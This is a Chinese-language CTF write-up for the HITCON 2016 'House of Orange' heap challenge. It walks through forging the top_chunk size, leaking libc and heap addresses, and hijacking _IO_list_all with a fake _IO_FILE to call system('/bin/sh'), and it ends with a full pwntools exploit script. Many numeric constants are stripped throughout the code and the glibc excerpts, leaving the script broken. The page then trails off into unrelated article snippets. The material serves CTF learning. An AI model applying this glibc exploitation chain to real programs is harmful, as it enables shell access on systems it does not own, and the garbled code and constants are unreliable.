题目附件:https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/house-of-orange-500

查看程序保护:

发现保护全开,再查看IDA反编译出来的代码,在upgrade()函数中发现明显的堆溢出漏洞:

这题的难点没有free函数,但是对溢出没有限制,且malloc的size我们可以自己控制,所以可以载top_chunk上做文章。

利用思路:

  • 修改top_chunk的size小于要分配的size,这样old_top会被放入unsorted_bin中
  • malloc一个largebin大小的chunk,此chunk会从已放入unsorted_bin中的old_top切割出来,并在chunk中写入该chunk的地址,并泄漏chunk地址和libc的地址
  • 修改利用unsorted bin attack修改_IO_list_all中的值,并伪造一个_IO_FILE,最终getshell

完整的exp我会放在最后,现在我们分步来看利用过程。

第一步:修改top_chunk的size,并将其放入unsorted bin中。

在ptmalloc的堆管理机制中,首先会取各个bin中找对应大小的chunk,如果找不到,才会去从top_chunk中分割。如果top_chunk的大小也不够,此时有两个选择:

  • 如果利用申请的chunk大小小于128KB,利用brk扩展top_chunk
  • 申请的chunk大小大于128KB,利用mmap分配堆

为了完成利用,我们需要控制分配的chunk大小小于128KB,也就是利用第一种方式分配chunk。来看看sysmalloc的部分源码:

  /* Record incoming configuration of top */

      old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size)); brk = snd_brk = (char *) (MORECORE_FAILURE); /*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/ //前半部分是针对第一次调用此函数,top_chunk没有初始化的情况
assert ((old_top == initial_top (av) && old_size == ) ||
((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - )) == )); //检查top_chunk结束的的地址是否页对齐 /* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

我们可以发现伪造的top_chunk的size要满足一下条件:

  • size要大于MINSIZE(这个我不清楚具体的数值,但是只要不是太小都可以)
  • size的inuse位要为1
  • old_top + size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐
  • size要小于你要申请的chunk的大小

部分利用代码如下:

Build(0x80, 'simple', 0x1234, 0xddaa)
payload = '\x00'*0x88 + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64() + p64() + p64(0xf30) #伪造的的top_chunk的size为0xf30
Upgrade(len(payload), payload, 0x1234, 0xddaa)

第二步:申请largebin大小的chunk触发_int_free把old_top放入unsorted bin中

部分源码:

                    if (old_size != )
{
/*
Shrink old_top to insert fenceposts, keeping size a
multiple of MALLOC_ALIGNMENT. We know there is at least
enough space in old_top to do this.
*/
old_size = (old_size - * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
set_head (old_top, old_size | PREV_INUSE); /*
Note that the following assignments completely overwrite
old_top when old_size was previously MINSIZE. This is
intentional. We need the fencepost, even if old_top otherwise gets
lost.
*/
chunk_at_offset (old_top, old_size)->size = ( * SIZE_SZ) | PREV_INUSE; chunk_at_offset (old_top, old_size + * SIZE_SZ)->size = ( * SIZE_SZ) | PREV_INUSE; /* If possible, release the rest. */
if (old_size >= MINSIZE)
{
_int_free (av, old_top, );
}
}

可以看出最后会调用_int_free把old_top放入unsorted bin中

部分利用脚本:

Build(0x400, 'AAAAAAAA', 0x1234, 0xddaa) #申请大小属于largebin的chunk
gdb.attach(p)
See()
p.recvuntil('Name of house : AAAAAAAA')
libc_base = u64(p.recv().ljust(, '\x00')) - 0x3c5188
info("libc_base ==> " + hex(libc_base)) payload = 'A'*
Upgrade(len(payload), payload, 0x1234, 0xddaa)
See()
p.recvuntil('A'*)
chunk_addr = u64(p.recv().ljust(, '\x00'))
info("chunk_addr ==> " + hex(chunk_addr))

第三步:修改利用unsorted bin attack修改_IO_list_all中的值,并伪造一个_IO_FILE,最终getshell

这一部分要用到文件IO的知识。主要函数调用过程为:malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow

先利用unsored bin attack修改__IO_list_all中的值为main_arena + 88,在修改fd时同时修改unosrted bin chunk的大小为0x60。之所以是0x60,是为了让chunk的地址刚好落在chain的位置上。

在malloc时unsorted chunk会被放入small bin中。来看看_IO_flush_all_lockp的部分源码:

          if (((fp->_mode <=  && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) ==
&& fp->_mode > && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) //要想执行_IO_OVERFLOW必须满足逻辑与符号前面的条件为真

绕过检查,上述条件,最终exp如下:

from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./houseoforange')
elf = ELF('houseoforange')
libc = elf.libc def Build(length, name, price, color):
p.sendlineafter('Your choice : ', '')
p.sendlineafter('Length of name :', str(length))
p.sendafter('Name :', name)
p.sendlineafter('Price of Orange:', str(price))
p.sendlineafter('Color of Orange:', str(color)) def See():
p.sendlineafter('Your choice : ', '') def Upgrade(length, name, price, color):
p.sendlineafter('Your choice : ', '')
p.sendlineafter('Length of name :', str(length))
p.sendafter('Name:', name)
p.sendlineafter('Price of Orange: ', str(price))
p.sendlineafter('Color of Orange: ', str(color)) Build(0x80, 'simple', 0x1234, 0xddaa)
payload = '\x00'*0x88 + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64() + p64() + p64(0xf30) #伪造的的top_chunk的size为0xf30
Upgrade(len(payload), payload, 0x1234, 0xddaa)
Build(0x1000, 'AAAAAAAA', 0x1234, 0xddaa)
Build(0x400, 'AAAAAAAA', 0x1234, 0xddaa) #申请大小属于largebin的chunk
gdb.attach(p)
See()
p.recvuntil('Name of house : AAAAAAAA')
libc_base = u64(p.recv().ljust(, '\x00')) - 0x3c5188
info("libc_base ==> " + hex(libc_base)) payload = 'A'*
Upgrade(len(payload), payload, 0x1234, 0xddaa)
See()
p.recvuntil('A'*)
chunk_addr = u64(p.recv().ljust(, '\x00'))
info("chunk_addr ==> " + hex(chunk_addr)) _IO_list_all = libc.symbols['_IO_list_all'] + libc_base
system = libc.symbols['system'] + libc_base
info('-------------------------unsorted bin and build fake file-----------------') vtable = chunk_addr + 0x510
payload = '\x00'*0x400 + p64() + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64()
payload += '/bin/sh\x00' + p64(0x60) + p64() + p64(_IO_list_all-0x10) + '\x00'* + p64() + '\x00'*0xa8 + p64(vtable)
payload += '\x00'*0x18 + p64(system)
Upgrade(len(payload), payload, 0x1234, 0xddaa) p.sendlineafter('Your choice : ', '') p.interactive()

House of Orange的更多相关文章

  1. 利用Python【Orange】结合DNA序列进行人种预测

    http://blog.csdn.net/jj12345jj198999/article/details/8951120 coursera上 web intelligence and big data ...

  2. orange pi pc 体验(一)

    最近在淘宝上看到一款和树莓派差不多的卡片机,定价才99元,而且是国产的,忍不住入手了一个,就是orange pi 感兴趣的可以百度搜索下,深圳一个公司出的,不过资料比树莓派少了很多,论坛中人也没多少, ...

  3. 《Orange'S:一个操作系统的实现》笔记(一)

    感觉自己对于操作系统始终没有一个清楚的概念,尤其最近困扰于实模式.保护模式以及寻址方式等一些概念.转而一想,所有的程序,最终都是操作的计算机资源,需要和操作系统打交道,所以操作系统有必要深入了解一下. ...

  4. python数据挖掘orange

    http://blog.csdn.net/pipisorry/article/details/52845804 orange的安装 linux下的安装 先安装依赖pyqt4[PyQt教程 - pyth ...

  5. Orange Greenworks

    对于steam游戏开发,成就功能是必不可少的. 而Rpgmaker系列无自带的插件或指令实现,且多数游戏作者并无熟练的脚本编写能力,所以~~ 我们要使用外部插件----Orange  Work. 这里 ...

  6. Orange——开源机器学习交互式数据分析工具

    Orange为新手和专家提供开源机器学习和数据可视化.使用大型工具箱交互式数据分析工作流程. 交互式数据可视化 Orange的全部内容都是关于数据可视化,帮助发现隐藏的数据模式,提供数据分析过程背后的 ...

  7. Orange Pi 3 GPIO 笔记

    这是我写过的最水的文章 设备:Orange pi H6,Pi 3 引脚图: (使用Wiringpi 查看GPIO) +------+-----+----------+------+---+Orange ...

  8. 女子监狱第四季/全集Orange Is the New Black迅雷下载

    女子监狱 第三季 Orange Is the New Black 3 (2015) 本季看点:该剧由<吉尔莫女孩>.<单身毒妈第一季>编剧杰姬·科恩的打造.由<护士当家& ...

  9. 女子监狱第一季/全集Orange Is the New Black迅雷下载

    本季第一季 Orange Is the New Black 1 (2013) 看点:该剧描述主人公Piper Chapman(Taylor Schilling)在大学里结识了毒贩Alex(Laura ...

  10. java 泛型没有协变类型, 所以要重用extends, 但使用List<? extends Fruit> 可以是ArrayList<Fruit>()、ArrayList<Apple>()、ArrayList<Orange>(), 因此不能add元素进去

    class Fruit{} class Apple extends Fruit{} class SubApple extends Apple{} class Orange extends Fruit{ ...

随机推荐

  1. 2020-06-07:mysql中varchar类型的id,where id=1,会用到索引吗?int 类型的id,where id="1",会用到索引吗?为什么?

    福哥答案2020-06-07: 答案来自群员:对于int类型id,查询的varchar 类型 ‘1’会隐式转换成 1,‘1’和 1都能正常走索引:对于varchar类型id,查询的int 类型 1不会 ...

  2. [luogu4140] 奇数国

    题目 在一片美丽的大陆上有100000个国家,记为1到100000.这里经济发达,有数不尽的账房,并且每个国家有一个银行.某大公司的领袖在这100000个银行开户时都存了3大洋,他惜财如命,因此会不时 ...

  3. CTFhub-WEB前置-http协议闯关

    前情提要: 在渗透学习过程中,web的基础知识很重要,在这里通过long long ago之前学习的http基础,并结合网上的CTFhub--WEB前置之http协议闯关,对web基础知识进行加固并查 ...

  4. oracle正则表达式语法介绍及实现手机号码匹配方法

    Oracle10g提供了在查询中使用正则表达的功能,它是通过各种支持正则表达式的函数在where子句中实现的.本文将简单的介绍oracle正则表达式常用语法,并通过一个手机特号匹配的例子演示正则表达式 ...

  5. python设计模式之外观模式

    python设计模式之外观模式 系统会随着演化变得非常复杂,最终形成大量的(并且有时是令人迷惑的)类和交互,这种情况并不少见.许多情况下,我们并不想把这种复杂性暴露给客户端.外观设计模式有助于隐藏系统 ...

  6. 装机备忘录:VS Code 常用插件

    VS Code 常用插件推荐 1.基本的代码补全 2.git 扩展工具,可以看到代码的每一行 是谁修改?什么时候修改? 修改的版本号? 修改的注释? 非常好的一个工具 3.括号颜色改变工具,可以改变括 ...

  7. Oracle用户授权

    一.用户授权 1)普通权限 grant ${autoType1, autoType2, autoType3, ...} to ${userName} identified by ${password} ...

  8. MySQL查看数据存放位置

    show global variables like "%datadir%";

  9. [noip2002] 产生数

    题目描述 给出一个整数 n (n<1030)和 k 个变换规则 (k < 15) . 规则: 一位数可变换成另一个一位数: 规则的右部不能为零. 例如:n = 234 .有规则( k=2  ...

  10. css两种常用的不定宽高的水平垂直居中方法,记住它,不再为样式发愁

    css 几种常用的简单容易记住的水平垂直居中方法 前言 正文 第一种方法 第二种方法 结束语 前言 我们在设计网页时,会大量的运用到水平垂直居中,如果知道元素的宽高,那水平垂直居中是很简单的,无非是用 ...